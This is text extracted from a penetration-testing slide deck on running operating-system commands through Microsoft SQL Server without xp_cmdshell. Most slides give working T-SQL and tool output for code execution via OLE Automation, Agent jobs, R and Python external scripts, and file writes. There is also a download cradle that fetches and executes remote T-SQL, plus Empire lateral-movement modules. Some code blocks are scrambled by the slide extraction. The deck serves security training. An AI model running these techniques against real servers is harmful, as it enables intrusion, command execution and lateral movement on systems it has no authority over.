asmbly.clr_name,
asmbly.assembly_id,
asmbly.name AS [assembly_name],
am.assembly_class,
am.assembly_method,
so.object_id as [sp_object_id],
so.name AS [sp_name],
so.[type] as [sp_type],
asmbly.permission_set_desc,
asmbly.create_date,
asmbly.modify_date,
af.content
FROM sys.assembly_modules am
INNER JOIN sys.assemblies asmbly
ON asmbly.assembly_id = am.assembly_id
INNER JOIN sys.assembly_files af
ON asmbly.assembly_id = af.assembly_id
INNER JOIN sys.objects so
ON so.[object_id] = am.[object_id]

66 Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/ Confidential & Proprietary

67

67 Confidential & Proprietary

68
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR

CLR Assemblies – Automation – PowerUpSQL

Action PowerUpSQL Function
Create Custom
Create-SQLFileCLRDLL
.net DLL with Custom Attributes
Execute OS Command via CLR Invoke-SQLOSCmdCLR
List Assembly Information Get-SQLStoredProcedureCLR
Get-SQLStoredProcedureCLR
Export Existing Assemblies –ExportFolder c:\temp

68 Confidential & Proprietary

69

69
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/ Confidential & Proprietary
70

Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/

70 Confidential & Proprietary

71

Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/

71
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/ Confidential & Proprietary
73
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION

Ole Automation
Procedures

73 Confidential & Proprietary

74
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - OLE

Ole Automation Procedures - Overview

1. SQL Server native scripting that allows calls to COM objects
2. Affected Versions: SQL Server 2000 to 2017 (so far)
3. Requires sysadmin role by default
4. Can be executed by non-sysadmin with:
 GRANT EXECUTE ON OBJECT::[dbo].[sp_OACreate] to [public]
 GRANT EXECUTE ON OBJECT::[dbo].[sp_OAMethod] to [public]

5. Executes as the SQL Server service account

74 Reference: https://malwaremusings.com/2013/04/10/a-look-at-some-ms-sql-attacks-overview/ Confidential & Proprietary

75
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - OLE

Ole Automation Procedures - Instructions

1. Server level setting: “'Ole Automation Procedures” set to 1
2. Run your code ☺

75 Reference: https://malwaremusings.com/2013/04/10/a-look-at-some-ms-sql-attacks-overview/ Confidential & Proprietary

76
-- Enable Show Advanced Options
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION
sp_configure 'Show Advanced Options',1
RECONFIGURE
GO

-- Enable OLE Automation Procedures

sp_configure 'Ole Automation Procedures',1

Ole Automation Procedures – Code - TSQL

RECONFIGURE
GO

-- Execute Command via OLE and store output in temp file

DECLARE @Shell INT
DECLARE @Shell2 INT
EXEC Sp_oacreate 'wscript.shell', @Shell Output, 5
EXEC Sp_oamethod @shell, 'run' , null, 'cmd.exe /c "echo Hello World > c:\temp\file.txt"'

-- Read results
DECLARE @libref INT
DECLARE @filehandle INT
DECLARE @FileContents varchar(8000)

EXEC sp_oacreate 'scripting.filesystemobject', @libref out

EXEC sp_oamethod @libref, 'opentextfile', @filehandle out, 'c:\temp\file.txt', 1
EXEC sp_oamethod @filehandle, 'readall', @FileContents out

SELECT @FileContents
GO

-- Remove temp result file

DECLARE @Shell INT
EXEC Sp_oacreate 'wscript.shell', @Shell Output, 5
EXEC Sp_oamethod @Shell, 'run' , null, 'cmd.exe /c "DEL c:\temp\file.txt"'
GO

-- Disable Show Advanced Options

sp_configure 'Show Advanced Options',1
RECONFIGURE
GO

-- Disable OLE Automation Procedures

sp_configure 'Ole Automation Procedures',1
RECONFIGURE
GO 76 Confidential & Proprietary
77
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - OLE

Ole Automation Procedures – Code - TSQL

-- Execute Command via OLE and store output in temp file
DECLARE @Shell INT
DECLARE @Shell2 INT
EXEC Sp_oacreate 'wscript.shell', @Shell Output, 5
EXEC Sp_oamethod @shell, 'run' , null, 'cmd.exe /c "echo Hello World > c:\temp\file.txt"'

-- Read results
DECLARE @libref INT
DECLARE @filehandle INT
DECLARE @FileContents varchar(8000)

EXEC sp_oacreate 'scripting.filesystemobject', @libref out

EXEC sp_oamethod @libref, 'opentextfile', @filehandle out, 'c:\temp\file.txt', 1
EXEC sp_oamethod @filehandle, 'readall', @FileContents out

SELECT @FileContents
GO

77 Reference: https://malwaremusings.com/2013/04/10/a-look-at-some-ms-sql-attacks-overview/ Confidential & Proprietary

78
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - OLE

Ole Automation Procedures – Code - TSQL

-- Execute Command via OLE and store output in temp file
DECLARE @Shell INT
DECLARE @Shell2 INT
EXEC Sp_oacreate 'wscript.shell', @Shell Output, 5
EXEC Sp_oamethod @shell, 'run' , null, 'cmd.exe /c "echo Hello World > c:\temp\file.txt"'

-- Read results
DECLARE @libref INT
DECLARE @filehandle INT
DECLARE @FileContents varchar(8000)

EXEC sp_oacreate 'scripting.filesystemobject', @libref out

EXEC sp_oamethod @libref, 'opentextfile', @filehandle out, 'c:\temp\file.txt', 1
EXEC sp_oamethod @filehandle, 'readall', @FileContents out

SELECT @FileContents
GO

78 Reference: https://malwaremusings.com/2013/04/10/a-look-at-some-ms-sql-attacks-overview/ Confidential & Proprietary

79
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - OLE

Ole Automation Procedures – Code - TSQL

-- Execute Command via OLE and store output in temp file
DECLARE @Shell INT
DECLARE @Shell2 INT
EXEC Sp_oacreate 'wscript.shell', @Shell Output, 5
EXEC Sp_oamethod @shell, 'run' , null, 'cmd.exe /c "echo Hello World > c:\temp\file.txt"'

-- Read results
DECLARE @libref INT
DECLARE @filehandle INT
DECLARE @FileContents varchar(8000)

EXEC sp_oacreate 'scripting.filesystemobject', @libref out

EXEC sp_oamethod @libref, 'opentextfile', @filehandle out, 'c:\temp\file.txt', 1
EXEC sp_oamethod @filehandle, 'readall', @FileContents out

SELECT @FileContents
GO

79 Reference: https://malwaremusings.com/2013/04/10/a-look-at-some-ms-sql-attacks-overview/ Confidential & Proprietary

80
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - OLE

Ole Automation Procedures – Automation – PowerUpSQL

Action PowerUpSQL Function
Execute OS Command via
Invoke-SQLOSCmdOle
OLE Automation Procedure

80 Confidential & Proprietary

81

Ole Automation Procedures – Automation – PowerUpSQL

81 Confidential & Proprietary

82
BEYOND XP_CMDSHELL: BONUS SLIDE – TSQL DOWNLOAD CRADLE
-- OLE Automation Procedure Download Cradle Example

-- Setup Variables
DECLARE @url varchar(300)
DECLARE @WinHTTP int
DECLARE @handle int
DECLARE @Command varchar(8000)

-- Set target url containting TSQL

SET @url = 'http://127.0.0.1/mycmd.txt'

-- Setup namespace
EXEC @handle=sp_OACreate 'WinHttp.WinHttpRequest.5.1',@WinHTTP OUT

-- Call the Open method to setup the HTTP request

EXEC @handle=sp_OAMethod @WinHTTP, 'Open',NULL,'GET',@url,'false'

-- Call the Send method to send the HTTP GET request

EXEC @handle=sp_OAMethod @WinHTTP,'Send'

-- Capture the HTTP response content

EXEC @handle=sp_OAGetProperty @WinHTTP,'ResponseText', @Command out

-- Destroy the object

EXEC @handle=sp_OADestroy @WinHTTP

-- Display command
SELECT @Command

-- Run command
execute(@Command)

82 Confidential & Proprietary

84
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION

Agent Jobs

84 Confidential & Proprietary

85
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – AGENT JOB

Agent Jobs - Overview

1. Native task scheduling engine
2. Affected Versions: All
3. Requires sysadmin role by default
4. Non sysadmin roles: SQLAgentUserRole, SQLAgentReaderRole,
SQLAgentOperatorRole (require proxy account)
5. Executes as the SQL Server Agent service account unless a
a proxy account is configured

85 Confidential & Proprietary

86
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – AGENT JOB

Agent Jobs – Overview - Most Common Job Types

1. TSQL
2. SQL Server Integrated Services (SSIS) Package
3. CMDEXEC
4. PowerShell
5. ActiveScripting (VBScript & JSCRIPT)

86 Confidential & Proprietary

88
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – AGENT JOB

Agent Jobs - Instructions

1. Make sure the SQL Server Agent service is running! (xp_startservice)
2. Create Job
3. Create Job Step
4. Configure to self delete
5. Run Job

 Note: For non sysadmins a proxy account must be configured. As a sysadmin:

 Create a credential
 Create a proxy account that allows all the subsystem execution needed
 Grant use of proxy to security principals (logins and roles)

88 Confidential & Proprietary

89
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – AGENT JOB

Agent Jobs – Code – TSQL – CMDEXEC

use msdb
DECLARE @jobId BINARY(16)
EXEC msdb.dbo.sp_add_job @job_name=N'OS COMMAND EXECUTION EXAMPLE - CMDEXEC',
@enabled=1,
@notify_level_eventlog=0,
@notify_level_email=0,
@notify_level_netsend=0,
@notify_level_page=0,
@delete_level=1, @command=N'c:\windows\system32\cmd.exe /c echo
@description=N'No description available.',
@category_name=N'[Uncategorized (Local)]', hello > c:\windows\temp\blah.txt’,
@owner_login_name=N'sa', @job_id = @jobId OUTPUT

EXEC msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'RUN COMMAND - CMDEXEC',

@step_id=1,
@cmdexec_success_code=0,
@on_success_action=1,
@on_success_step_id=0,
@on_fail_action=2,
@on_fail_step_id=0,
@retry_attempts=0,
@retry_interval=0,
@os_run_priority=0, @subsystem=N'CmdExec',
@command=N'c:\windows\system32\cmd.exe /c echo hello > c:\windows\temp\blah.txt',
@flags=0

use msdb
EXEC dbo.sp_start_job N'OS COMMAND EXECUTION EXAMPLE - CMDEXEC' ;

89 Confidential & Proprietary

90
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – AGENT JOB

Agent Jobs – Code – TSQL – PowerShell

USE [msdb]
GO

DECLARE @jobId BINARY(16)

EXEC msdb.dbo.sp_add_job @job_name=N'OS COMMAND EXECUTION EXAMPLE - POWERSHELL',
@enabled=1,
@notify_level_eventlog=0,
@notify_level_email=0,
@notify_level_netsend=0,
@notify_level_page=0, @command=N'write-output "hello world" | out-file
@delete_level=1,
@description=N'No description available.', c:\windows\temp\blah.txt’
@category_name=N'[Uncategorized (Local)]',
@owner_login_name=N'sa', @job_id = @jobId OUTPUT

EXEC msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'RUN COMMAND - POWERHSHELL',

@step_id=1,
@cmdexec_success_code=0,
@on_success_action=1,
@on_success_step_id=0,
@on_fail_action=2,
@on_fail_step_id=0,
@retry_attempts=0,
@retry_interval=0,
@os_run_priority=0, @subsystem=N'PowerShell',
@command=N'write-output "hello world" | out-file c:\windows\temp\blah.txt',
@database_name=N'master',
@flags=0

use msdb
EXEC dbo.sp_start_job N'OS COMMAND EXECUTION EXAMPLE - POWERSHELL' ;

90 Confidential & Proprietary

91
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – AGENT JOB

Agent Jobs – Code – TSQL – JSCRIPT

use msdb
DECLARE @jobId BINARY(16)
@command=N'function RunCmd()
exec msdb.dbo.sp_add_job @job_name=N'OS COMMAND EXECUTION EXAMPLE - ActiveX: JSCRIPT',
@enabled=1,
@notify_level_eventlog=0,
{
@notify_level_email=0,
@notify_level_netsend=0,
@notify_level_page=0,
@delete_level=1, var objShell = new ActiveXObject("shell.application");
@description=N'No description available.',
@category_name=N'[Uncategorized (Local)]', objShell.ShellExecute("cmd.exe",
@owner_login_name=N'sa', @job_id = @jobId OUTPUT

exec msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'RUN COMMAND - ActiveX: JSCRIPT',

"/c echo hello > c:\\windows\\temp\\blah.txt",
@step_id=1,
@cmdexec_success_code=0,
"",
@on_success_action=1,
@on_success_step_id=0, "open",
@on_fail_action=2,
@on_fail_step_id=0, 0);
@retry_attempts=0,
@retry_interval=0,
@os_run_priority=0, @subsystem=N'ActiveScripting',
}
@command=N'function RunCmd()
{
var objShell = new ActiveXObject("shell.application");
objShell.ShellExecute("cmd.exe", "/c echo hello > c:\\windows\\temp\\blah.txt", "", "open", 0); RunCmd();’
}

RunCmd();
',
@database_name=N'JavaScript',
@flags=0

use msdb
EXEC dbo.sp_start_job N'OS COMMAND EXECUTION EXAMPLE - ActiveX: JSCRIPT' ;

91 Confidential & Proprietary

92
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – AGENT JOB

Agent Jobs – Code – TSQL – VBSCRIPT

use msdb

DECLARE @jobId BINARY(16)

EXECmsdb.dbo.sp_add_job @job_name=N'OS COMMAND EXECUTION EXAMPLE - ActiveX: VBSCRIPT',
@enabled=1,
@notify_level_eventlog=0,
@notify_level_email=0,
@notify_level_netsend=0,
@notify_level_page=0,
@delete_level=1,
@description=N'No description available.', @command=N'FUNCTION Main()
@category_name=N'[Uncategorized (Local)]',
@owner_login_name=N'sa', @job_id = @jobId OUTPUT

EXEC msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'RUN COMMAND - ActiveX: VBSCRIPT',

@step_id=1,
dim shell
@cmdexec_success_code=0,
@on_success_action=1, set shell= CreateObject ("WScript.Shell")
@on_success_step_id=0,
@on_fail_action=2, shell.run("c:\windows\system32\cmd.exe /c echo hello
@on_fail_step_id=0,
@retry_attempts=0,
@retry_interval=0,
> c:\windows\temp\blah.txt")
@os_run_priority=0, @subsystem=N'ActiveScripting',
@command=N'FUNCTION Main()
set shell = nothing
dim shell
set shell= CreateObject ("WScript.Shell")
shell.run("c:\windows\system32\cmd.exe /c echo hello > c:\windows\temp\blah.txt") END FUNCTION’,
set shell = nothing

END FUNCTION',
@database_name=N'VBScript',
@flags=0

use msdb
EXEC dbo.sp_start_job N'OS COMMAND EXECUTION EXAMPLE - ActiveX: VBSCRIPT' ;

92 Confidential & Proprietary

93
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – AGENT JOB

Agent Jobs – Code – TSQL – VBSCRIPT – Find your own com

OLE/COM Object Viewer OleViewDotNet

93 https://github.com/tyranid/oleviewdotnet
Confidential & Proprietary
94
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – AGENT JOB

Agent Jobs – Code – TSQL – List Jobs

SELECT job.job_id as [JOB_ID],
job.name as [JOB_NAME],
job.description as [JOB_DESCRIPTION],
steps.step_name,
steps.subsystem,
steps.command,
SUSER_SNAME(job.owner_sid) as [JOB_OWNER],
steps.proxy_id,
proxies.name as [proxy_account],
job.enabled,
steps.server,
job.date_created,
steps.last_run_date
FROM [msdb].[dbo].[sysjobs] job
INNER JOIN [msdb].[dbo].[sysjobsteps] steps
ON job.job_id = steps.job_id
left join [msdb].[dbo].[sysproxies] proxies
ON steps.proxy_id = proxies.proxy_id
ORDER BY JOB_NAME, step_name

94 Confidential & Proprietary

95

95 Confidential & Proprietary

96
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – AGENT JOB

Agent Jobs – Automation - PowerUpSQL

 Get-SQLAgentJob VERBOSE: SQL Server Agent Job Search
Complete.
VERBOSE: ---------------------------------
 Get list of agents jobs and their code VERBOSE: Agent Job Summary
VERBOSE: ---------------------------------
VERBOSE: 470 jobs found
 Use on scale to get stats in verbose VERBOSE: 7 affected systems
VERBOSE: 7 affected SQL Server instances
VERBOSE: 33 proxy credentials used
VERBOSE: ---------------------------------
VERBOSE: Agent Job Summary by SubSystem
Get-SQLInstanceDomain | Get-SQLAgentJob - Verbose VERBOSE: ---------------------------------
VERBOSE: 461 SSIS Jobs
VERBOSE: 4 Snapshot Jobs
VERBOSE: 2 Distribution Jobs
VERBOSE: 1 QueueReader Jobs
VERBOSE: 1 LogReader Jobs
VERBOSE: 1 CmdExec Jobs
VERBOSE: 470 Total
VERBOSE: ---------------------------------

96 Confidential & Proprietary

97
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – AGENT JOB

Agent Jobs – Automation - PowerUpSQL

 Invoke-SQLOSCmdAgentJob
 Written by Leo Loobeek
 Gold Star PowerUpSQL contributor!

97 Confidential & Proprietary

98
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – AGENT JOB

Agent Jobs – Automation - PowerUpSQL

Action PowerUpSQL Function
List Agent Jobs Get-SQLAgentJob

OS CMD via CMDEXEC Invoke-SQLOSCmdAgentJob –SubSystem CMDEXEC

OS CMD via PowerShell Invoke-SQLOSCmdAgentJob –SubSystem PowerShell

OS CMD via JScript Invoke-SQLOSCmdAgentJob –SubSystem Jscript

OS CMD via VBScript Invoke-SQLOSCmdAgentJob –SubSystem VBScript

98 Confidential & Proprietary

100
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION

External Scripts
R & Python
100 Confidential & Proprietary
101
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – EXTERNAL SCRIPTS

External Scripts - Overview

 R introduced in SQL Server 2016
 Python introduced in SQL Server 2017
 Both are used for “big data” analytics and machine learning stuff
 Runtime environments must be installed with SQL Server
 Require sysadmin privileges to run by default
 Run as a dynamically created local Windows user account

101 Confidential & Proprietary

102
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – EXTERNAL SCRIPTS

External Scripts - Instructions

1. The R / Python runtime environment must be installed
already
2. The 'external scripts enabled’ server configuration must
be enabled
3. The SQL Server service must be restarted for the change
to take effect
4. Then ‘sp_execute_external_script’ can be used to
execute OS commands via R and Python scripts

102 Confidential & Proprietary

103
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – R SCRIPT

R Scripts – Code Sample - TSQL

EXEC sp_execute_external_script
@language=N'R',
@script=N'OutputDataSet <- data.frame(system("cmd.exe /c
whoami",intern=T))'
WITH RESULT SETS (([cmd_out] text));
GO

103 Confidential & Proprietary

104
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – PYTHON SCRIPT

Python Scripts – Code Sample - TSQL

EXEC sp_execute_external_script
@language =N'Python',
@script=N'import subprocess
p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE)
OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'
WITH RESULT SETS (([Output] nvarchar(max)))

104 Source: https://gist.github.com/james-otten/63389189ee73376268c5eb676946ada5 Confidential & Proprietary

105
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – EXTERNAL SCRIPTS

External Script – Automation - PowerUpSQL

Action PowerUpSQL Function
OS CMD via R Script Invoke-SQLOSCmdR

OS CMD via Python Script Invoke-SQLOSCmdPython

105 Confidential & Proprietary

106
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – R SCRIPT

R Scripts – Automation – PowerUpSQL

PS C:\> Invoke-SQLOSCmdR -Verbose -Instance Server1\SQLSERVER2017 -command whoami
VERBOSE: Creating runspace pool and session states
VERBOSE: Server1\SQLSERVER2017 : Connection Success.
VERBOSE: Server1\SQLSERVER2017 : You are a sysadmin.
VERBOSE: Server1\SQLSERVER2017 : Show Advanced Options is disabled.
VERBOSE: Server1\SQLSERVER2017 : Enabled Show Advanced Options.
VERBOSE: Server1\SQLSERVER2017 : External scripts enabled are disabled.
VERBOSE: Server1\SQLSERVER2017 : Enabled external scripts.
VERBOSE: Server1\SQLSERVER2017 : The 'external scripts enabled' setting is enabled in runtime.'
VERBOSE: Server1\SQLSERVER2017 : Executing command: whoami
VERBOSE: Server1\SQLSERVER2017 : Disabling external scripts
VERBOSE: Server1\SQLSERVER2017 : Disabling Show Advanced Options
VERBOSE: Closing the runspace pool

ComputerName Instance CommandResults

--------------------- ----------- ------------------------
Server1 Server1\SQLSERVER2017 Server1\sqlserver201701

106 Confidential & Proprietary

107
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – PYTHON SCRIPT

Python Scripts – Automation – PowerUpSQL

PS C:\> Invoke-SQLOSCmdPython -Verbose -Instance Server1\SQLSERVER2017 -command whoami

VERBOSE: Creating runspace pool and session states
VERBOSE: Server1\SQLSERVER2017 : Connection Success.
VERBOSE: Server1\SQLSERVER2017 : You are a sysadmin.
VERBOSE: Server1\SQLSERVER2017 : Show Advanced Options is disabled.
VERBOSE: Server1\SQLSERVER2017 : Enabled Show Advanced Options.
VERBOSE: Server1\SQLSERVER2017 : External scripts enabled are disabled.
VERBOSE: Server1\SQLSERVER2017 : Enabled external scripts.
VERBOSE: Server1\SQLSERVER2017 : The 'external scripts enabled' setting is enabled in runtime.'
VERBOSE: Server1\SQLSERVER2017 : Executing command: whoami
VERBOSE: Server1\SQLSERVER2017 : Disabling external scripts
VERBOSE: Server1\SQLSERVER2017 : Disabling Show Advanced Options
VERBOSE: Closing the runspace pool

ComputerName Instance CommandResults

--------------------- ----------- ------------------------
Server1 Server1\SQLSERVER2017 Server1\sqlserver201701

107 Confidential & Proprietary

109
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION

File Autoruns

109 Confidential & Proprietary

110
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – WRITE FILE

File Autoruns – Writing Files

 OpenRowSet / OpenDataSource / OpenQuery
 Requires sysadmin or bulk insert privileges
 Requires the 'Microsoft.ACE.OLEDB.12.0’ or similar provider to be
installed
 Requires sp_configure 'ad hoc distributed queries',1
 Bulk Insert File Copy
 Requires sysadmin or bulk insert privileges
 Requires local, UNC, or WebDav path to copy file content
 Haven’t had time to verify the full WebDav PoC yet (exfil)

110 Confidential & Proprietary

111
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – WRITE FILE

File Autoruns – OpenRowSet File Write

-- Note: Requires the driver to be installed ahead of time.

-- list available providers

EXEC sp_MSset_oledb_prop -- get available providers

-- Enable show advanced options

sp_configure 'show advanced options',1
reconfigure
go

-- Enable ad hoc queries

sp_configure 'ad hoc distributed queries',1
reconfigure
go
-- Write text file
INSERT INTO OPENROWSET('Microsoft.ACE.OLEDB.12.0','Text;Database=c:\temp\;HDR=Yes;FORMAT=text', 'SELECT * FROM
[file.txt]')
SELECT @@version

-- Note: This also works with unc paths \\ip\file.txt

-- Note: This also works with webdav paths \\ip@80\file.txt However, the target web server needs to support propfind.

111 Confidential & Proprietary

112
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - WRITE FILE

File Autoruns – Bulk Insert Read File

-- Create temp table
CREATE TABLE #file (content nvarchar(4000));

-- Read file into temp table

BULK INSERT #file
FROM 'c:\temp\file.txt';

-- Select contents of file

SELECT content FROM #file

112 https://docs.microsoft.com/en-us/sql/t-sql/statements/bulk-insert-transact-sql Confidential & Proprietary

113
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - WRITE FILE

File Autoruns – Automation - PowerUpSQL

 TSQL File write via BULK INSERT ErrorFile
 Written by Antti Rantasaari
 Gold Star PowerUpSQL contributor!

113 Confidential & Proprietary

114
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - WRITE FILE

File Autoruns – Bulk Insert Error – File Write/Copy

-- author: antti rantassari, 2017

-- Description: Copy file contents to another file via local, unc, or webdav path
-- summary = file contains varchar data, field is an int, throws casting error on read, set error output to file, tada!
-- requires sysadmin or bulk insert privs

CREATE TABLE #errortable (ignore int)

BULK INSERT #errortable

FROM '\\localhost\c$\windows\win.ini'
WITH
(
fieldterminator=',',
rowterminator='\n',
errorfile='c:\windows\temp\thatjusthappend.txt'
)

drop table #errortable

114 https://docs.microsoft.com/en-us/sql/t-sql/statements/bulk-insert-transact-sql Confidential & Proprietary

115
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - WRITE FILE

File Autoruns – Bulk Insert Error File Copy

-- author: antti rantassari, 2017

-- Description: Copy file contents to another file via local, unc, or webdav path
-- summary = file contains varchar data, field is an int, throws casting error on read, set error output to file, tada!
-- requires sysadmin or bulk insert privs

CREATE TABLE #errortable (ignore int)

BULK INSERT #errortable

FROM '\\localhost\c$\windows\win.ini' -- or 'c:\windows\system32\win.ini' -- or \\hostanme@SSL\folder\file.ini’
WITH
(
fieldterminator=',',
rowterminator='\n',
errorfile='c:\windows\temp\thatjusthappend.txt'
)

drop table #errortable

115 https://docs.microsoft.com/en-us/sql/t-sql/statements/bulk-insert-transact-sql Confidential & Proprietary

119
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION

Uuuh - That was too much

crap at once.

119 Confidential & Proprietary

120
BEYOND XP_CMDSHELL: POWERUPSQL OS CMD CHEAT SHEET
Technique PowerUpSQL Functions PowerUpSQL Templates
Execute xp_cmdshell • Invoke-SQLOSCmd • oscmdexec_xpcmdshell.sql
• oscmdexec_xpcmdshell_proxy.sql

Create & Execute a Extended Stored Procedure • Create-SQLFileXpDll • cmd_exec.cpp

• Get-SQLStoredProcedureXp

Create & Execute a CLR Assembly • Create-SQLFileCLRDll • cmd_exec.cs

• Get-SQLStoreProcedureCLR
• Get-SQLStoreProcedureCLR –ExportFolder C:\temp\
• Invoke-SQLOSCmdCLR

Execute a OLE Automation Procedure • Invoke-SQLOSCmdOle • oscmdexec_oleautomationobject.sql

Create & Execute an Agent Job • Get-SQLAgentJob • oscmdexec_agentjob_activex_jscript.sql

• CmdExec • Invoke-SQLOSCmdAgentJob • oscmdexec_agentjob_activex_vbscript.sql
• PowerShell • oscmdexec_agentjob_cmdexec.sql
• ActiveX: Jscript • oscmdexec_agentjob_powershell.sql
• ActiveX: VBScript

External Scripting • Invoke-SQLOSCmdR • oscmdexec_rscript.sql

• R • Invoke-SQLOSCmdPython • oscmdexec_pythonscript.tsql
• Python

OS Autoruns • Get-SQLPersistRegRun • writefile_bulkinsert.sql

• Bulk Insert • Get-SQLPersistRegDebugger
• Provider
• Microsoft.ACE.OLEDB.12.0
• Microsoft.Jet.OLEDB.4.0
120 Confidential & Proprietary
https://github.com/NetSPI/PowerUpSQL/tree/master/templates
121
Technique Affected Requires Can be Run as Execution Proxy Requires Requires Commands to Watch / Requirements

BEYOND XP_CMDSHELL: OS CMD CHEETSHEET Version Sysadmin

By default
Non-sysadmin
with
Context Account
Option
Server
Config
Disk
Read/Write
Specific Change
Privileges

Execute xp_cmdshell 2000 - 2017 Yes Yes SQL Server Service Account Yes Yes No sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
xp_cmdshell Proxy Account EXEC sp_configure 'xp_cmdshell', 1;
xp_cmdshell 'whoami’
sp_xp_cmdshell_proxy_account
Grant execute on xp_cmdshell to [x]

Create & Execute a Extended Stored Procedure 2000 - 2017 Yes No SQL Server Service Account No No Yes sp_addextendedproc

Create & Execute a CLR Assembly 2008 -2017 Yes Yes SQL Server Service Account No Yes No sp_configure ‘clr enabled', 1;
sp_configure ‘clr strict security’, 0;
CREATE ASSEMBLY+CREATE PROCEDURE , ALTER
ASSEMBLY, or DDL_Admin
Requires: Database has ‘Is_Trustworthy’ flag set.

Execute a OLE Automation Procedure 2000 - 2017 Yes Yes SQL Server Service Account No Yes No sp_configure ‘Ole Automation Procedures', 1;
GRANT EXECUTE ON OBJECT::[dbo].[sp_OACreate] to
[public]
GRANT EXECUTE ON OBJECT::[dbo].[sp_OAMethod] to
[public]

Create & Execute an Agent Job 2000 - 2017 Yes Yes SQL Server Yes No No sp_add_job that is not tsql
• CmdExec Agent Service Account Runs as agent service account when created by sysadmin.
• PowerShell Proxy Account Must be configured with proxy account for non sysadmin
• SSIS users provided a agent role: SQLAgentUserRole,
• ActiveX: Jscript SQLAgentReaderRole, SQLAgentOperatorRole
• ActiveX: VBScript

External Scripting: R 2016 – 2017 Yes No SQL Server Service Account No Yes No sp_configure 'external scripts enabled', 1;

External Scripting: Python 2017 Yes No SQL Server Service Account No Yes No sp_configure 'external scripts enabled', 1;

OS Autoruns 2000 - 2017 Yes Yes Depends on autorun No Yes Yes Files: Bulk Insert:
• File location GRANT ADMINISTER BULK OPERATIONS TO [public]
• Registry Files: sp_addlinkedserver / Openrowset / Opendataset
Registry: xp_regread / xp_regwrite

Providers 2005 - 2017 Yes Maybe SQL Server Yes Yes Yes sp_addlinkedserver / Openrowset / Opendataset
• Microsoft.ACE.OLEDB.12.0 Service Account Sp_configure ‘enabled ad-hoc queries’,1
• Microsoft.Jet.OLEDB.4.0 Can mdb be unc?
121 Confidential & Proprietary
122
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION

FUTURE RESEARCH
 Other providers.
 Write one function to evaluate audit controls, cmdexec options,
and automatically choose best one.

122 Confidential & Proprietary

 More
toys!

POWERSHELL
EMPIRE
MODULES https://github.com/EmpireProject/Empire

123 Confidential & Proprietary

124
BEYOND XP_CMDSHELL: EMPIRE MODULES

SQL Server Empire Modules GOTCHA!

1. Get-SQLInstanceDomain
2. Get-SQLServerInfo
3. Get-SQLServerDefaultLoginPW
4. Get-SQLQuery
5. Get-SQLColumnSampleData
6. Invoke-SQLOSCmd

124 Confidential & Proprietary

125
BEYOND XP_CMDSHELL: EMPIRE MODULES
(Empire: NCH9K51L) > usemodule powershell/lateral_movement/invoke_sqloscmd
(Empire: powershell/lateral_movement/invoke_sqloscmd) > options

Module 3
Name: Invoke-SQLOSCMD
Module: powershell/lateral_movement/invoke_sqloscmd
NeedsAdmin: False
OpsecSafe: True

 Example screenshot
Language: powershell
MinLanguageVersion: 2
Background: True
OutputExtension: None

Authors:
@nullbind
@0xbadjuju

Description:
Executes a command or stager on remote hosts using
xp_cmdshell.

Options:

Name Required Value Description

---- -------- ------- -----------
Listener False Listener to use.
CredID False CredID from the store to use.
Command False Custom command to execute on remote hosts.
Proxy False default Proxy to use for request (default, none, or other).
UserName False [domain\]username to use to execute command.
Instance True Host[s] to execute the stager on, comma separated.
UserAgent False default User-agent string to use for the staging request (default, none, or other).
ProxyCreds False default Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
Password False Password to use to execute command.
Agent True NCH9K51L Agent to run module on.

125 Confidential & Proprietary

126
BEYOND XP_CMDSHELL: EMPIRE MODULES

(Empire: powershell/lateral_movement/invoke_sqloscmd) > set Instance sql-2012.test.local

Module 3
